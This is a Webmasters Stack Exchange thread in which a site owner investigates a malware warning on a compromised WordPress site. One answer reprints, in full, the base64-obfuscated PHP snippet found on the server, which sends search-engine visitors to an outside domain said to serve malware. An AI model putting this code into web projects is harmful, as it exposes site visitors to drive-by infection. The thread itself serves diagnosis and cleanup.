Take the 2-minute tour ×
Webmasters Stack Exchange is a question and answer site for pro webmasters. It's 100% free, no registration required.

my clients site http://bit.ly/dTOfGF (i used url shortener).

I have tried everything to find the malware but i couldnt.

I tried the Google checklist http://googlewebmastercentral.blogspot.com/2007/09/quick-security-checklist-for-webmasters.html

i checked for all script files in multiple browsers and couldn't find any...

Strange thing is that Google reports that png files and 1 css has malware...

Any help would be appreciated.

Thanks!

share|improve this question
    
Does it say which files in particular have malware? –  John Conde Mar 29 '11 at 13:11
    
img683.imageshack.us/i/asduq.jpg –  Karington Mar 29 '11 at 13:21
    
did you get the report shown in image from Google webmaster tools? Because here there is a different report: google.com/safebrowsing/diagnostic?site=http://www.enhanceit.fi/… –  Marco Demaio Mar 29 '11 at 17:17
    
yes i did but it didnt help the investigation... Why? –  Karington Mar 30 '11 at 14:06
    
You might be interested in a similar question: webmasters.stackexchange.com/questions/8906 –  Jacob Hume Mar 31 '11 at 11:53

3 Answers 3

It's more than likely your WordPress install has been compromised.

The permanent fix is to follow these steps to ensure it is fully cleaned and to prevent a recurrence. This is the best method to ensure it is 100% clean.

  1. Backup the database
  2. Make a note of the customizations, such as plugins or any other modifications you’ve made.
  3. Remove all files from the site, be sure to save anything that isn’t part of WordPress!
  4. Reinstall WordPress
  5. Restore the database
  6. Verify the WordPress users are correct and authorized
  7. Re-install any plugins you were using
  8. Reload any additional .php files from known clean copy

This is the best way to ensure the site was not attacked previously and has hidden backdoors loaded deep into the site.

It is extremely important to keep your WordPress software up to date and use strong passwords for your WP admin, FTP and Database, and that you don’t use the same password for all of them.

Additional information: GoDaddy case study

share|improve this answer

This was in a php file that had chmod 666

eval(base64_decode("CglpZiAoc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJnb29nbGUiKSkgewoJaWYgKCFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sIi5udSIpIGFuZCAhc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJzaXRlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sImludXJsIikpewoJCXByZWdfbWF0Y2ggKCIvcVw9KC4qKS8iLCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sJGtrKTsKCQlpZiAoc3RyaXN0cigka2tbMV0sIiYiKSkgewoJCQlwcmVnX21hdGNoICgiLyguKj8pXCYvIiwka2tbMV0sJGtleTIpOwoJCQkka2V5d29yZD11cmxkZWNvZGUoJGtleTJbMV0pOwoJCX1lbHNlIHsKCQkJJGtleXdvcmQ9dXJsZGVjb2RlKCRra1sxXSk7CgkJfQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9mZ25mZGZ0aHJ2LmJlZS5wbC8/cT0iLiRrZXl3b3JkKTsKCQlleGl0KCk7Cgl9Cgp9ZWxzZWlmIChzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sInlhaG9vIikpIHsKcHJlZ19tYXRjaCAoIi9wXD0oLio/KSYvIiwkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCRrayk7CgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2ZnbmZkZnRocnYuYmVlLnBsLz9xPSIuJGtrWzFdKTsKCQlleGl0KCk7Cn1lbHNlaWYgKHN0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiYmluZyIpKSB7CnByZWdfbWF0Y2ggKCIvcVw9KC4qPykmLyIsJF9TRVJWRVJbS FRU UF9SRUZFUkVSXSwka2spOwoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9mZ25mZGZ0aHJ2LmJlZS5wbC8/cT0iLiRra1sxXSk7CgkJZXhpdCgpOwp9Cgk="));

It only showed when it was visited through google yahoo or bing so i couldnt of seen the malware...

share|improve this answer
    
As far as I know, this hack uses stolen FTP passwords. –  Denis May 17 '11 at 11:33

Remake those images, maybe even using screenshots, and re-save them and replace them in your site. Any malware hidden in them will be removed that way.

Update

That snippet contained code that, if a user found your site through Google, Yahoo, or Bing search, redirected users to a site in Poland that serves up a fake search page and tries to load malware on to a user's computer.

share|improve this answer
    
can png and css have malware?? –  Karington Mar 29 '11 at 13:53
    
@Karington - Yes, images can be malformed to make attacks. I'm not sure about CSS. –  John Conde Mar 29 '11 at 14:00
    
is there any anti-malware app that can check this? –  Karington Mar 29 '11 at 14:44
    
@Karington - I don't know of any but it's possible that anti-virus software might detect it. –  John Conde Mar 29 '11 at 14:48
    
i tried kaspersky which is quite good and eset and no detection... –  Karington Mar 29 '11 at 15:55

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.